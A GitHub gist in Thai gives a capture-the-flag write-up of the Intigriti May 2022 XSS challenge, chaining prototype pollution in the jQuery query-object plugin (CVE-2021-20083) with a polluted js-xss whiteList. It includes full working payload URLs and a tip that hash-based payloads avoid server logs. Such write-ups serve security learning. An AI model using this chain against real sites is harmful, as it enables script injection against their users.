Skip to content

Instantly share code, notes, and snippets.

@pich4ya
Last active June 5, 2022 09:18
Show Gist options
  • Save pich4ya/dad810da60584712a20210262673f0bd to your computer and use it in GitHub Desktop.
Save pich4ya/dad810da60584712a20210262673f0bd to your computer and use it in GitHub Desktop.
Intigriti May '22 XSS Challenge - Prototype Pollution Writeup
@author Pichaya (LongCat) Morimoto ([email protected])
Challenge: https://challenge-0522.intigriti.io/challenge/challenge.html
จุดประสงค์คือต้องทำ XSS โดยที่มีการป้องกันไว้ด้วย
(1) ไม่ได้รับค่า User Input มาแสดงตรง ๆ รับแค่ Index (ตัวเลข) แล้วไป Lookup Content ที่เป็น HTML มาแสดง
(2) HTML Content (Static แบบ Fixed ไว้) ที่ Lookup มายังจะโดน Sanitize ต่อด้วยฟังก์ชัน filterXSS() จาก lib ชื่อ xss-js
Tech Stack:
jQuery 3.5.1 + Query query-object plugin (CVE-2021-20083)
https://code.jquery.com/jquery-3.5.1.js
ใช้ Gadget JS-XSS 0.3.3 เป็น XSS Gadget
https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js
โค้ดช่องโหว่:
Query query-object plugin (CVE-2021-20083) +
var pages = {
1: `HOME`,
2: `PRODUCTS`, [...]
var pl = $.query.get('page');
if(pages[pl] != undefined){
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
}
- ทำ XSS ตรง ๆ (?page=XSS) ไม่ได้เพราะ ใช้ user input (page) เป็นแค่
ตัวเลข index ที่เอาไป lookup ต่อที่ pages อีกทีว่า HTML คืออะไร
- ทำ Prototype Pollution จากช่องโหว่ของ Query query-object plugin (CVE-2021-20083)
จะแก้ไข ค่า Attribute ของ Object ไหนก็ได้ เช่น ?pages[__proto__][6]=hello
จะทำให้ ตัวแปร pages มี index ใหม่ เป็น 6 เพิ่มเข้ามา ถ้าเราใส่ page=6 จะเจอ hello
Payload: ?pages[__proto__][6]=hello&page=6
- ตอนแรกกะว่าจะแก้จาก hello เป็น XSS Payload เลยเช่น
pages[__proto__][6]=<img+src%3Dx+onerror%3Dalert(1)>&page=6
แต่ทำไม่ได้ เพราะว่า ในโค้ดมัน ใช้ filterXSS() ป้องกันค่าที่ lookup จาก pages ไว้อีกที
ตัวอย่างเช่น filterXSS("<img onerror=alert(1) src=x>")
จะได้ค่า return กลับมาเหลือแค่ '<img src>'
วิธีแฮกเลย เปลี่ยนจากการแก้ pages ไปเป็นการไปแก้ค่าอื่นใน js-xss แทน
โดยไอเดีย คือใน js-xss โดยค่าเริ่มต้นฟังก์ชัน filterXSS() มันจะ Sanitize
ค่า Argument ที่รับเข้ามาให้กลายเป็น HTML ที่ปลอดภัย ไร้ JavaScript (XSS)
แต่ว่า มันก็มีออฟชัน ยอมให้ยกเว้นได้ ถ้าโปรแกรมเมอร์ระบุไว้ กรณีจำเป็นต้องใช้
โดยออฟชันที่ว่าชื่อว่า whitelist
https://github.com/leizongmin/js-xss#whitelist
จากคู่มือบอกไว้ว่าเราสามารถประกาศ whitelist ได้ว่า HTML tag และ attribute อะไรยอมให้ใช้ได้เช่น
var options = {
whiteList: {
a: ["href", "title", "target"]
},
};
เราก็เลยจะทำ Prototype Pollution ไปสร้างออฟชันนี้ให้ยอมให้เรารัน JavaScript เสมือนกับว่ามี
var options = {
whiteList: {
img: ["src", "onerror"]
},
};
วิธีทำ Prototype Pollution ตาม options ด้านบนคือ
pwn[__proto__][whiteList][img][0]=onerror
pwn[__proto__][whiteList][img][1]=src
หมายเหตุ: ใช้ชื่อตัวแปรอะไรตั้งค่า __proto__ ก็ได้ตัวอย่างนี้ตั้งเองชื่อ pwn
ใส่ใน HTTP Parameter หรือใส่ใน location.hash ก็ได้
จากนั้นก็สร้าง pages[5] หน้าใหม่และใส่คำสั่ง XSS ตามที่ยอมใน whitelist
pwn[__proto__][5]=<img src=x onerror=alert(1)>
หมายเหตุ: = ในค่า Value ต้อง URL Encode เป็น %3D
แล้วใส่ HTTP Parameter ระบุว่าให้เข้าไปที่ pages[5] คือ
page=5
เอาทุกอย่างมารวมกัน จะได้
https://challenge-0522.intigriti.io/challenge/challenge.html?pages[__proto__][whiteList][img][0]=onerror&pages[__proto__][whiteList][img][1]=src&pages[__proto__][5]=<img%20src%3Dx%20onerror%3Dalert(1)>&page=5
ซึ่งนอกจากจะใส่เป็น HTTP Parameter แล้วใน jQuery ก็มีโค้ดกำหนดให้ใส่เป็น Hash (#) ใน URL ก็ได้ เช่น
https://challenge-0522.intigriti.io/challenge/challenge.html#pages[__proto__][whiteList][img][0]=onerror&pages[__proto__][whiteList][img][1]=src&pages[__proto__][5]=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E&page=5
ซึ่งแบบ URL Hash (#) จะได้ประโยชน์ในมุมแฮกเกอร์ มากกว่าเพราะค่า XSS Payload หลัง # จะไม่ถูกเก็บใน Log ของเว็บเซิร์ฟเวอร์
เพิ่มเติม:
https://github.com/0xGodson/blogs/blob/master/_posts/2022-06-03-intigriti-may-chal.md
https://github.com/BlackFan/client-side-prototype-pollution
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment